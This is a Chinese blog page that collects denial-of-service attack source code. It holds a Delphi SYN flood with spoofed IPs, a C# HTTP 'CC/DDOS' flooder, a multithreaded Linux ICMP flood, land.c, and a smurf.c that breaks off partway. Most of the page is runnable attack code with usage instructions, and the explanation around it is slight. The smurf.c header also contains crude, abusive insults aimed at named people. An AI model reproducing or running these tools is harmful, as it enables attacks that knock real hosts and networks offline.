2013年5月30日星期四

DDOS攻击源码

DDOS攻击源码

program Project1;

{$APPTYPE CONSOLE}

uses
Windows,
Winsock;

//WinSock2;

const
IP_HDRINCL = 2; // IP Header Include
Header_SEQ = $19026695;
SEQ = $28376839;

//TCP头 20位
type
TCP_HEADER = record
th_sport : Word; //16位源端口
th_dport : Word; //16位目的端口
th_seq : DWORD; //32位序列号
th_ack : DWORD; //32位确认号
th_lenres : Byte; //4位首部长度+6位保留字中的4位
th_flag : Byte; //2位保留字+6位标志位 2是SYN,1是FIN,16是ACK探测
th_win : Word; //16位窗口大小
th_sum : Word; //16位校验和
th_urp : Word; //16位紧急数据偏移量
end;

// IP 头 20位
type
IP_HEADER = record
h_verlen : Byte; //4位首部长度+4位IP版本号
tos : Byte; //8位服务类型TOS,定义了数据传输的优先级、延迟、吞吐量和可靠性等特性
total_len : Word; //16位总长度(字节) IP包的长度,若没有特殊选项,一般为20字节长
ident : Word; //16位IP包标识,主机使用它唯一确定每个发送的数据报
frag_and_flags : Word; //Fragment Offset 13 IP数据分割偏移
ttl : Byte; //8位生存时间TTL,每通过一个路由器,该数值减一
proto : Byte;//8位协议号(TCP, UDP 或其他) 比如:ICMP为1,IGMP为2,TCP为6,UDP为17等
checksum : Word; //16位IP首部校验和
sourceIP : LongWord; //32位源IP地址
destIP : LongWord; //32位目的IP地址
end;

//TCP伪头 12位
type
PSD_HEADER = record
saddr : DWORD; //源地址
daddr : DWORD; //目的地址
mbz : Byte; //置空
ptcl : Byte; //协议类型
tcpl : WORD; //TCP长度
end;

type
CLIENTPARA = record
Port:integer;
IP:string;
ThreadCount:integer;
end;

var
clientpa :^CLIENTPARA;
SendSEQ :Integer = 0;
// TimeOut :Integer =888;

function WSASocketA(af, wType, protocol: integer;lpProtocolInfo: pointer;g,
dwFlags: dword): integer;stdcall;external 'ws2_32.dll';

function setsockopt( const s: TSocket; const level, optname: Integer; optval: PChar;
const optlen: Integer ): Integer; stdcall;external 'ws2_32.dll';

function IntToStr(I: integer): string;
begin
Str(I, Result);
end;

function StrToInt(S: string): integer;
begin
Val(S, Result, Result);
end;

function LowerCase(const S: string): string;
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;

function checksum(var Buffer; Size: integer): word;
type
TWordArray = array[0..1] of word;
var
lSumm: LongWord;
iLoop: integer;
begin
lSumm := 0;
iLoop := 0;
while Size > 1 do
begin
lSumm := lSumm + TWordArray(Buffer)[iLoop];
inc(iLoop);
Size := Size - SizeOf(word);
end;
if Size = 1 then lSumm := lSumm + Byte(TWordArray(Buffer)[iLoop]);
lSumm := (lSumm shr 16) + (lSumm and $FFFF);
lSumm := lSumm + (lSumm shr 16);
Result := word(not lSumm);
end;

//syn洪水攻击
function ThreadProc(p:Pointer):LongInt;stdcall;
var
WSAData :TWSAData;
sock :TSocket;
Remote :TSockAddr;
ipHeader :IP_HEADER;
tcpHeader :TCP_HEADER;
psdHeader :PSD_HEADER;
ErrorCode,bOpt,datasize :integer;
Buf :array [0..127] of char;
//FromIP :string;
begin
Result :=0;
//建立一个原始套接口
if WSAStartup(MAKEWORD(2,2), WSAData)<>0 then exit;
sock :=WSASocketA(AF_INET, SOCK_RAW, IPPROTO_RAW, nil, 0, {WSA_FLAG_OVERLAPPED}0);
if sock = INVALID_SOCKET then exit;
//设置ip选项
bOpt := 1;
//设置IP_HDRINCL告诉系统自己填充IP首部并自己计算校验和
if setsockopt(sock,IPPROTO_IP, IP_HDRINCL,@bOpt, SizeOf(bOpt)) = SOCKET_ERROR then exit;

//设置发送超时
//ErrorCode :=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,pchar(TimeOut),sizeof(TimeOut));
// if ErrorCode = SOCKET_ERROR then exit;

Randomize;
FillChar(Remote,sizeof(Remote),#0);
Remote.sin_family :=AF_INET;
//Remote.sin_addr.s_addr:=inet_addr(SYN_DEST_IP);
Remote.sin_addr.S_addr :=inet_addr(pchar(CLIENTPARA(p^).IP));
Remote.sin_port :=htons(CLIENTPARA(p^).Port);
//FakeIpNet:=inet_addr(FAKE_IP);
//FakeIpHost:=ntohl(FakeIpNet);

//填充IP首部
ipHeader.h_verlen :=(4 shl 4) or (sizeof(ipHeader) div sizeof(LongWord)); //高四位IP版本号,低四位首部长度
ipHeader.total_len :=htons(sizeof(ipHeader)+sizeof(tcpHeader)); //16位总长度(字节)
ipHeader.ident:=1; //16位标识
ipHeader.tos :=0; //IP服务类型
ipHeader.frag_and_flags:=0; //段偏移域
ipHeader.ttl:=128; //8位生存时间TTL
ipHeader.proto:=IPPROTO_TCP; //8位协议(TCP,UDP…) UDP=17 $11
//ipHeader.checksum:=0; //16位IP首部校验和
ipHeader.sourceIP:=Random(4294967215); //32位源IP地址
//ipHeader.destIP:=inet_addr(pchar(SYN_DEST_IP)); //32位目的IP地址
ipHeader.destIP:=inet_addr(pchar(CLIENTPARA(p^).IP));

//随机产生源地址
{FromIP:=IntToStr(Random(254)+1)+'.'+ IntToStr(Random(254)+1)+'.'+
IntToStr(Random(254)+1)+'.'+Inttostr(Random(254)+1);
ipHeader.sourceIP:=inet_Addr(PChar(FromIP)); //32位源IP地址
ipHeader.destIP:=Remote.sin_addr.S_addr; //32位目的IP地址 }

//填充TCP首部
//tcpHeader.th_sport:=htons(Random(65536)+1); //随机产生源端口
tcpHeader.th_dport:=Remote.sin_port; //目的端口号
//tcpHeader.th_sport:=htons(7000); //源端口号
//tcpHeader.th_dport:=htons(8080); //目的端口号
//tcpHeader.th_seq:=htonl(SEQ+SendSEQ); //SYN序列号
//tcpHeader.th_ack:=0; //ACK序列号置为0
tcpHeader.th_lenres:=(sizeof(tcpHeader) shr 2 shl 4) or 0; //TCP长度和保留位
//tcpHeader.th_flag:=$18; //实现不同的标志位探测,2是SYN,1是FIN,16是ACK探测
tcpHeader.th_win:=htons(16384); //窗口大小
tcpHeader.th_urp:=0; //紧急偏移量
tcpHeader.th_sum:=0; //校验和

//填充TCP伪首部(用于计算校验和,并不真正发送)
psdHeader.saddr:=ipHeader.sourceIP; //源地址
psdHeader.daddr:=ipHeader.destIP; //目的地址
psdHeader.mbz:=0;
psdHeader.ptcl:=IPPROTO_TCP; //协议类型
psdHeader.tcpl:=htons(sizeof(tcpHeader)); //TCP首部长度
//counter:=0;
while true do
begin
//每发送10,240个报文输出一个标示符
//inc(counter);
//writeln(counter);
inc(SendSEQ);
if (SendSEQ=65536) then SendSEQ :=1; //序列号循环
//更改IP首部
ipHeader.checksum :=0; //16位IP首部校验和
ipHeader.sourceIP :=Random(4294967215); //32位源IP地址
//更改TCP首部
tcpHeader.th_seq :=htonl(SEQ+SendSEQ); //SYN序列号
tcpHeader.th_ack:=0 ;
tcpHeader.th_flag :=2;
tcpHeader.th_sum :=0; //校验和
tcpHeader.th_sport:=htons(Random(65536)+1);
//更改TCP伪首部
psdHeader.saddr :=ipHeader.sourceIP;
//计算TCP校验和,计算校验和时需要包括TCP伪首部
FillChar(Buf,SizeOf(Buf),#0);
//将两个字段复制到同一个缓冲区Buf中并计算TCP头校验和
CopyMemory(@Buf[0],@psdHeader,SizeOf(psdHeader)); //12
CopyMemory(@Buf[SizeOf(psdHeader)],@tcpHeader,SizeOf(tcpHeader)); //20
TCPHeader.th_sum:=checksum(Buf,SizeOf(psdHeader)+SizeOf(tcpHeader)); //32
//计算IP头校验和
CopyMemory(@Buf[0],@ipHeader,SizeOf(ipHeader)); //20
CopyMemory(@Buf[SizeOf(ipHeader)],@tcpHeader,SizeOf(tcpHeader)); //20
FillChar(Buf[SizeOf(ipHeader)+SizeOf(tcpHeader)],4,#0);
datasize :=SizeOf(ipHeader)+SizeOf(tcpHeader);
ipHeader.checksum:=checksum(Buf,datasize); //40
//填充发送缓冲区
CopyMemory(@Buf[0],@ipHeader,SizeOf(ipHeader)); //20
//发送TCP报文
ErrorCode:=sendto(sock, buf, datasize, 0, Remote, sizeof(Remote));
if ErrorCode=SOCKET_ERROR then exit;

inc(SendSEQ);
//更改IP首部
ipHeader.checksum :=0; //16位IP首部校验和
// ipHeader.sourceIP :=Random(4294967215); //32位源IP地址
//更改TCP首部
tcpHeader.th_seq :=htonl(SEQ+SendSEQ); //SYN序列号
tcpHeader.th_ack:= htonl(SEQ+SendSEQ+1);
tcpHeader.th_flag :=$18;
tcpHeader.th_sum :=0; //校验和
//tcpHeader.th_sport:=htons(Random(65536)+1);
//更改TCP伪首部
// psdHeader.saddr :=ipHeader.sourceIP;

//计算TCP校验和,计算校验和时需要包括TCP伪首部
FillChar(Buf,SizeOf(Buf),#0);
//将两个字段复制到同一个缓冲区Buf中并计算TCP头校验和
CopyMemory(@Buf[0],@psdHeader,SizeOf(psdHeader)); //12
CopyMemory(@Buf[SizeOf(psdHeader)],@tcpHeader,SizeOf(tcpHeader)); //20
TCPHeader.th_sum:=checksum(Buf,SizeOf(psdHeader)+SizeOf(tcpHeader)); //32
//计算IP头校验和
CopyMemory(@Buf[0],@ipHeader,SizeOf(ipHeader)); //20
CopyMemory(@Buf[SizeOf(ipHeader)],@tcpHeader,SizeOf(tcpHeader)); //20
FillChar(Buf[SizeOf(ipHeader)+SizeOf(tcpHeader)],4,#0);
datasize :=SizeOf(ipHeader)+SizeOf(tcpHeader);
ipHeader.checksum:=checksum(Buf,datasize); //40
//填充发送缓冲区
CopyMemory(@Buf[0],@ipHeader,SizeOf(ipHeader)); //20
//发送TCP报文
ErrorCode:=sendto(sock, buf, datasize, 0, Remote, sizeof(Remote));

if ErrorCode=SOCKET_ERROR then exit;

sleep(100);
end; //end while

closesocket(sock);
WSACleanup();
end;

procedure Usage;
begin
WriteLn;
WriteLn('-------------模拟TCP/IP握手(ACK&PSH),请勿用于非法攻击,只限于2000/2003-----------');
WriteLn(' (说明:源码来源于网上!经过部份修改后编译)');
WriteLn(' Usage: SendTcpData -h:<目标IP> -p:<端口> -n:<线程>');
WriteLn(' Usage: SendTcpData -h:127.0.0.1 -p:80 -n:100');
WriteLn;
WriteLn;
end;

procedure ParseOption(Cmd, Arg: string);
begin
if arg='' then
begin
Usage;
Halt(0);
end;
if lstrcmp('-h:', pchar(LowerCase(Cmd))) = 0 then
begin
clientpa^.IP :=arg;
end
else if lstrcmp('-p:', pchar(LowerCase(Cmd))) = 0 then
begin
clientpa^.Port :=StrToInt(Arg);
end
else if lstrcmp('-n:', pchar(LowerCase(Cmd))) = 0 then
begin
clientpa^.ThreadCount :=StrToInt(Arg);
end
else
begin
Usage;
Halt(0);
end;
end;

procedure ProcessCommandLine;
var
CmdLn: integer;
begin
CmdLn := 1;
if (ParamCount<3) or (ParamCount>3) then
begin
Usage;
Halt(0);
end;
new(clientpa);
while Length(ParamStr(CmdLn)) <> 0 do
begin
ParseOption(Copy(ParamStr(CmdLn), 1, 3), Copy(ParamStr(CmdLn), 4, Length(ParamStr(CmdLn)) - 2));
Inc(CmdLn);
end;
end;

var
ThreadID:DWord;
i:integer;
begin
ProcessCommandLine;
for i:=0 to clientpa^.ThreadCount do
begin
CreateThread(nil, 0, @ThreadProc, clientpa, 0, ThreadID);
end;
while True do Sleep(1);
end.

C#压力测试(CC/DDOS攻击)源代码

C#压力测试(CC/DDOS攻击)源代码

分类: C#.Net 268人阅读 评论(0) 收藏 举报
发放一个C#(C#封装的网络类比较多且全面,适合做网页测试软件)的CC/DDOS攻击器demo的源代码。
  1. using System.Text;  
  2. using System.ComponentModel;  
  3. using System.Net.Sockets;  
  4. using System.Net;  
  5.   
  6. namespace DepthCharge  
  7. {  
  8.     class HttpTest  
  9.     {  
  10.         const string NewLine = "\r\n";  
  11.         bool run = false;  
  12.         BackgroundWorker worker;  
  13.         int count;  
  14.         string host;  
  15.         int port;  
  16.         string path;  
  17.         string method;  
  18.         string content;  
  19.         public HttpTest(int count, string host, int port,string path, string method, string content)  
  20.         {  
  21.            this.count=count;  
  22.            this.host = host;  
  23.            this.port = port;  
  24.            this.path = path;  
  25.            this.method = method;  
  26.            this.content = content;  
  27.         }  
  28.   
  29.   
  30.         public void start()  
  31.         {  
  32.             worker = new BackgroundWorker();  
  33.             worker.DoWork += new DoWorkEventHandler(doWork);  
  34.             worker.RunWorkerAsync();  
  35.             worker.WorkerSupportsCancellation = true;  
  36.         }  
  37.         public void stop()  
  38.         {  
  39.             run = false;  
  40.             worker.CancelAsync();  
  41.         }  
  42.         private void doWork(object sender, DoWorkEventArgs e)  
  43.         {  
  44.             run = true;  
  45.             StringBuilder strb = new StringBuilder();  
  46.             strb.Append(method + " " + this.path + NewLine);  
  47.             strb.Append("HOST: " + this.host + NewLine);  
  48.             strb.Append("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7" + NewLine);  
  49.             strb.Append("Accept: */*" + NewLine);  
  50.             strb.Append("Connection: keep-alive" + NewLine);  
  51.             strb.Append("Referer: http://" + this.host + NewLine);  
  52.             strb.Append("HOST: " + this.host + NewLine);  
  53.             strb.Append("Accept-Encoding: gzip,deflate" + NewLine);  
  54.             strb.Append("Accept-Language: zh-CN,zh;q=0.8" + NewLine);  
  55.             if ("POST".Equals(method))  
  56.             {  
  57.                 strb.Append("Content-Length: " + System.Text.Encoding.ASCII.GetBytes(content.ToString()).Length + NewLine);  
  58.             }  
  59.             strb.Append("Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3" + NewLine);  
  60.             strb.Append(NewLine);  
  61.             if ("POST".Equals(method))  
  62.             {  
  63.                 strb.Append(content);  
  64.             }  
  65.             byte[] buf = System.Text.Encoding.ASCII.GetBytes(strb.ToString());  
  66.             for (int i = count; i > 0 && run; --i)  
  67.             {  
  68.                 byte[] recvBuf = new byte[64];  
  69.                 IPAddress ip = IPAddress.Parse(host);  
  70.                 System.Net.IPEndPoint endp = new System.Net.IPEndPoint(ip, 80);  
  71.                 var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);  
  72.                 socket.Connect(endp);  
  73.                 socket.Send(buf);  
  74.                 socket.Receive(recvBuf, 64, SocketFlags.None);  
  75.             }  
  76.         }  
  77.   
  78.         public bool Running { get{return run;} set{run=value;} }  
  79.     }  
  80. }  

使用方法:
  1. httptest = new HttpTest(int.Parse(httpcount.Text), this.httphost.Text,int.Parse(this.httpport.Text), this.httppath.Text, this.httpmethod.Text, this.httpcontent.Text);  
  2. httptest .start();  

Linux下ICMP洪水攻击实例

567人阅读 评论(0) 收藏 举报
LinuxICMP洪水攻击实例 注:所以文章红色字体代表需要特别注意和有问题还未解决的地方,蓝色字体表示需要注意的地方

1.     本文所介绍的程序平台
虚拟机为:Red Hat Enterprise Linux 5

2.     洪水攻击简介
洪水攻击指的是利用计算机网络技术向目标机发送大量的无用数据报文,使得目标主机忙于处理无用的数据报文而无法提供正常的服务的网络行为。
洪水攻击(FLOOD ATTACK),顾名思义,是用大量的请求来淹没目标机。洪水攻击主要利用了网络协议的安全机制或者直接用十分简单的拼资源的方法来对目标机造成影响。
攻击的手段主要是使用畸形的报文来让目标机进行处理或者等待,一般都是在原始套接字层进行程序设计。洪水攻击主要分为ICMPUDPSYN攻击3种类型。
2.1 ICMP洪水攻击
本实例的ICMP代码是简单的直接方法,建立多个线程向同一个主机发送ICMP请求,而本地的IP地址是伪装的。由于程序仅发送响应,不接收响应,容易造成目标主机的宕机。
ICMP Flood是一种在ping基础上形成的,但是用ping程序很少能造成目标机的问题。这里边最大的问题是提高处理的速度。ICMP洪水攻击主要有3种方式。

直接洪水攻击:这样做需要本地主机的带宽与目标主机的带宽进行比拼,可以采用多线程的方法一次性发送多个ICMP请求报文,让目标主机处理过程问题而速度缓慢或者宕机,直接攻击容易暴露自己的源IP地址,被对方反攻。

伪装IP攻击:在直接攻击的基础上,将发生方的IP地址伪装,将直接IP攻击的缺点进行了改进。

反射攻击:与直接攻击和伪装攻击不同,反射攻击不是直接对目标机进行攻击,而是让其他一群主机误认为目标机在像他们发送ICMP请求包,一群主机向目标机发送ICMP应答包,攻击方向一群主机发送ICMP请求,将请求的源地址伪装成目标机的IP地址,这样目标机就成了ICMP回显反射的焦点。

注意下面程序有两个问题。

实例:
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <pthread.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <syslog.h>
#include <stdio.h>
#include <signal.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <setjmp.h>
#include <errno.h>
#include <sys/time.h>

/* 最多线程数 */
#define MAXCHILD 128
/* 目的IP地址 */
static unsigned long dest = 0;
/* ICMP协议的值 */
static int PROTO_ICMP = -1;
/* 程序活动标志 */
static int alive = -1;
static int rawsock;
/* 随机函数产生函数
*  由于系统的函数为伪随机函数
*   其与初始化有关,因此每次用不同值进行初始化
*/
static inline ulong
    myrandom (int begin, int end)
{
    int gap = end - begin +1;
    int ret = 0;

    /* 用系统时间初始化 */
    srand((unsigned)time(0));
    /* 产生一个介于begin和end之间的值 */
    ret = random()%gap + begin;
    return ret;
}

static void DoS_icmp (void );
static void
DoS_icmp (void )
    struct sockaddr_in to; 
    struct ip *iph; 
    struct icmp *icmph; 
    char *packet; 
    ulong temp;
    int pktsize = sizeof (struct ip) + sizeof (struct icmp) + 64; 
    packet =(char *)malloc (pktsize); 
    iph = (struct ip *) packet; 
    icmph = (struct icmp *) (packet + sizeof (struct ip)); 
    memset (packet, 0, pktsize); 
   
    /* IP的版本,IPv4 */
    iph->ip_v = 4; 
    /* IP头部长度,字节数 */
    iph->ip_hl = 5; 
    /* 服务类型 */
    iph->ip_tos = 0; 
    /* IP报文的总长度 */
    iph->ip_len = htons (pktsize); 
    /* 标识,设置为PID */
    iph->ip_id = htons (getpid ()); 
    /* 段的便宜地址 */
    iph->ip_off = 0;
    /* TTL */
    iph->ip_ttl = 0x0; 
    /* 协议类型 */
    iph->ip_p = PROTO_ICMP; 
    /* 校验和,先填写为0 */
    iph->ip_sum = 0; 
    /* 发送的源地址 */
    temp = myrandom(0, 65535);
    iph->ip_src = *(struct in_addr *)&temp;     
    /* 发送目标地址 */
    iph->ip_dst = *(struct in_addr*)&dest;
      
    //为什么这个输出会有差别,目的地址应该是一致的啊??
    //printf("dst ip: %s\n",  inet_ntoa(*(struct in_addr*)&dest));
//printf("src ip : %s , dst ip: %s\n", inet_ntoa(iph->ip_src), inet_ntoa(iph->ip_dst));

    /* ICMP类型为回显请求 */
    icmph->icmp_type = ICMP_ECHO;  
    /* 代码为0 */
    icmph->icmp_code = 0; 
    /* 由于数据部分为0,并且代码为0,直接对不为0即icmp_type部分计算 */
    icmph->icmp_cksum = htons (~(ICMP_ECHO << 8)); 

    /* 填写发送目的地址部分 */
    to.sin_family =  AF_INET; 
    to.sin_addr.s_addr = dest;
    to.sin_port = htons(0);

    /* 发送数据 */
    sendto (rawsock, packet, pktsize, 0, (struct sockaddr *) &to, sizeof (struct sockaddr)); 
    /* 释放内存 */
    free (packet);
}

static void *
DoS_fun (void * ip)

    while(alive)
    {
        DoS_icmp();
        //icmp();为什么有没有定义的函数而不报错啊?g++不报错 gcc报错

    }

}

/* 信号处理函数,设置退出变量alive */
static void
DoS_sig(int signo)
{
    alive = 0;
}



int main(int argc, char *argv[])
{
    struct hostent * host = NULL;
    struct protoent *protocol = NULL;
    char protoname[]= "icmp";

    int i = 0;
    pthread_t pthread[MAXCHILD];
    int err = -1;
    unsigned long  temp;
    alive = 1;
    /* 截取信号CTRL+C */
    signal(SIGINT, DoS_sig);



    /* 参数是否数量正确 */
    if(argc < 2)
    {
        printf("usage : \n");
        return -1;
    }

    /* 获取协议类型ICMP */
    protocol = getprotobyname(protoname);
    if (protocol == NULL)
    {
        perror("getprotobyname()");
        return -1;
    }
    PROTO_ICMP = protocol->p_proto;

    /* 输入的目的地址为字符串IP地址 */
    dest = inet_addr(argv[1]);
    if(dest == INADDR_NONE)
    {
        /* 为DNS地址 */
        host = gethostbyname(argv[1]);
        if(host == NULL)
        {
            perror("gethostbyname");
            return -1;
        }
        temp = inet_addr(host->h_addr);
        /* 将地址拷贝到dest中 */
        memcpy((char *)&dest, &temp, host->h_length);
    }
    printf("dst ip: %s\n", inet_ntoa(*(struct in_addr*)&dest));
    sleep(5);
    /* 建立原始socket */
    rawsock = socket (AF_INET, SOCK_RAW, PROTO_ICMP);  
    if (rawsock < 0)      
        rawsock = socket (AF_INET, SOCK_RAW, PROTO_ICMP);  

    /* 设置IP选项 */
    setsockopt (rawsock, SOL_IP, IP_HDRINCL, "1", sizeof ("1"));

    /* 建立多个线程协同工作 */
    for(i=0; i<MAXCHILD; i++)
    {
        err = pthread_create(&pthread[i], NULL, DoS_fun, (void *)&i);
    }

    /* 等待线程结束 */
    for(i=0; i<MAXCHILD; i++)
    {  
        pthread_join(pthread[i], NULL);
    }
    printf("over \n");
    close(rawsock);
   
    return 0;
}

c源码:常用攻击程序

c源码:常用攻击程序

303人阅读 评论(0) 收藏 举报
Abstract
这里有一些是老的,现在看来并没有用,但他们都很有名。

1 Land

攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
己的同一个端口发起连接(发SYN),Win95即会崩溃。


/* land.c by m3lt, FLC
   crashes a win95 box */

#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include < netinet/ip.h >
#include < netinet/tcp.h >

//用于TCP校验和的伪头
struct pseudohdr
{
        struct in_addr saddr;
        struct in_addr daddr;
        u_char zero;
        u_char protocol;
        u_short length;
        struct tcphdr tcpheader;
};

//计算IP校验和
u_short checksum(u_short * data,u_short length)
{
        register long value;
        u_short i;

        for(i=0;i<(length>>1);i++)
                value+=data[i];

        if((length&1)==1)
                value+=(data[i]<<8);

        value=(value&65535)+(value>>16);

        return(~value);
}


int main(int argc,char * * argv)
{
        struct sockaddr_in sin;
        struct hostent * hoste;
        int sock;
        char buffer[40];
        struct iphdr * ipheader=(struct iphdr *) buffer;
        struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
        struct pseudohdr pseudoheader;

        fprintf(stderr,"land.c by m3lt, FLC/n");

        if(argc<3)
        {
                fprintf(stderr,"usage: %s IP port/n",argv[0]);
                return(-1);
        }

        bzero(&sin,sizeof(struct sockaddr_in));
        sin.sin_family=AF_INET;

        if((hoste=gethostbyname(argv[1]))!=NULL)
                bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
        else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
        {
                fprintf(stderr,"unknown host %s/n",argv[1]);
                return(-1);
        }

        if((sin.sin_port=htons(atoi(argv[2])))==0)
        {
                fprintf(stderr,"unknown port %s/n",argv[2]);
                return(-1);
        }

//new一个SOCK—RAW以发伪造IP包 这需要root权限
        if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
        {
                fprintf(stderr,"couldn't allocate raw socket/n");
                return(-1);
        }

        bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
        ipheader->version=4;
        ipheader->ihl=sizeof(struct iphdr)/4;
        ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
        ipheader->id=htons(0xF1C);
        ipheader->ttl=255;
        ipheader->protocol=IP_TCP;

//目的IP地址和源IP地址相同
        ipheader->saddr=sin.sin_addr.s_addr;
        ipheader->daddr=sin.sin_addr.s_addr;

//目的TCP端口和源TCPIP端口相同
        tcpheader->th_sport=sin.sin_port;
        tcpheader->th_dport=sin.sin_port;
        tcpheader->th_seq=htonl(0xF1C);
        tcpheader->th_flags=TH_SYN;
        tcpheader->th_off=sizeof(struct tcphdr)/4;
        tcpheader->th_win=htons(2048);

        bzero(&pseudoheader,12+sizeof(struct tcphdr));
        pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
        pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
        pseudoheader.protocol=6;
        pseudoheader.length=htons(sizeof(struct tcphdr));
        bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
        tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));

        if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
  0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
        {
                fprintf(stderr,"couldn't send packet/n");
                return(-1);
        }

        fprintf(stderr,"%s:%s landed/n",argv[1],argv[2]);

        close(sock);
        return(0);
}


2 Smurf
     smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
的源地址)崩溃。

    受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。

    可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。

    但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变
成不可能(没有WINS服务器时)。

/*
 *
 *  $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
 *
 *  spoofs icmp packets from a host to various broadcast addresses resulting
 *  in multiple replies to that host from a single packet.
 *
 *  mad head to:
 *     nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
 *     MissSatan for swallowing, napster for pimping my sister, the guy that
 *     invented vaseline, fyber for trying, knowy, old school #havok, kain
 *     cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
 *     have missed (you know who you are).
 *
 *     hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
 *     thing he is (he's -almost- as stubborn as me, still i managed to pick up
 *     half the cheque).
 *
 *     and a special hi to Todd, face it dude, you're fucking awesome.
 *
 *  mad anal to:
 *     #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
 *     because they plain suck, Rolex for being a twit, everyone that
 *     trades warez, Caren for being a lesbian hoe, AcidKill for being her
 *     partner, #cha0s, sedriss for having an ego in inverse proportion to
 *     his penis and anyone that can't pee standing up -- you don't know what
 *     your missing out on.
 *
 *     and anyone thats ripped my code (diff smurf.c axcast.c is rather
 *     interesting).
 *
 *     and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
 *     Robbins for trying to steal my girlfriend.  Not only did you show me
 *     no respect but you're a manipulating prick who tried to take away the
 *     most important thing in the world to me with no guilt whatsoever, and
 *     for that I wish you nothing but pain.  Die.
 *
 *  disclaimer:
 *     I cannot and will not be held responsible nor legally bound for the
 *     malicious activities of individuals who come into possession of this
 *     program and I refuse to provide help or support of any kind and do NOT
 *     condone use of this program to deny service to anyone or any machine.
 *     This is for educational use only. Please Don't abuse this.
 *
 *  Well, i really, really, hate this code, but yet here I am creating another
 *  disgusting version of it.  Odd, indeed.  So why did I write it?  Well, I,
 *  like most programmers don't like seeing bugs in their code.  I saw a few
 *  things that should have been done better or needed fixing so I fixed
 *  them.  -shrug-, programming for me as always seemed to take the pain away
 *  ...
 *
 *
 */

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>

void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned short in_chksum(u_short *, int);

/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";

int main (int argc, char *argv[])
{
   struct sockaddr_in sin;
   struct hostent *he;
   FILE   *bcastfile;
   int    i, sock, bcast, delay, num, pktsize, cycle = 0, x;
   char   buf[32], **bcastaddr = malloc(8192);

   banner();
   signal(SIGINT, ctrlc);

   if (argc < 6) usage(argv[0]);

   if ((he = gethostbyname(argv[1])) == NULL) {
      perror("resolving source host");
      exit(-1);
   }
   memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
   sin.sin_family = AF_INET;
   sin.sin_port = htons(0);

   num = atoi(argv[3]);
   delay = atoi(argv[4]);
   pktsize = atoi(argv[5]);

   if ((bcastfile = fopen(argv[2], "r")) == NULL) {
      perror("opening bcast file");
      exit(-1);
   }
   x = 0;
   while (!feof(bcastfile)) {
      fgets(buf, 32, bcastfile);
      if (buf[0] == '#' || buf[0] == '/n' || ! isdigit(buf[0])) continue;
      for (i = 0; i < strlen(buf); i++)
          if (buf[i] == '/n') buf[i] = '/0';
      bcastaddr[x] = malloc(32);
      strcpy(bcastaddr[x], buf);
      x++;
   }
   bcastaddr[x] = 0x0;
   fclose(bcastfile);

   if (x == 0) {
      fprintf(stderr, "ERROR: no broadcasts found in file %s/n/n", argv[2]);
      exit(-1);
   }
   if (pktsize > 1024) {
      fprintf(stderr, "ERROR: packet size must be < 1024/n/n");
      exit(-1);
   }

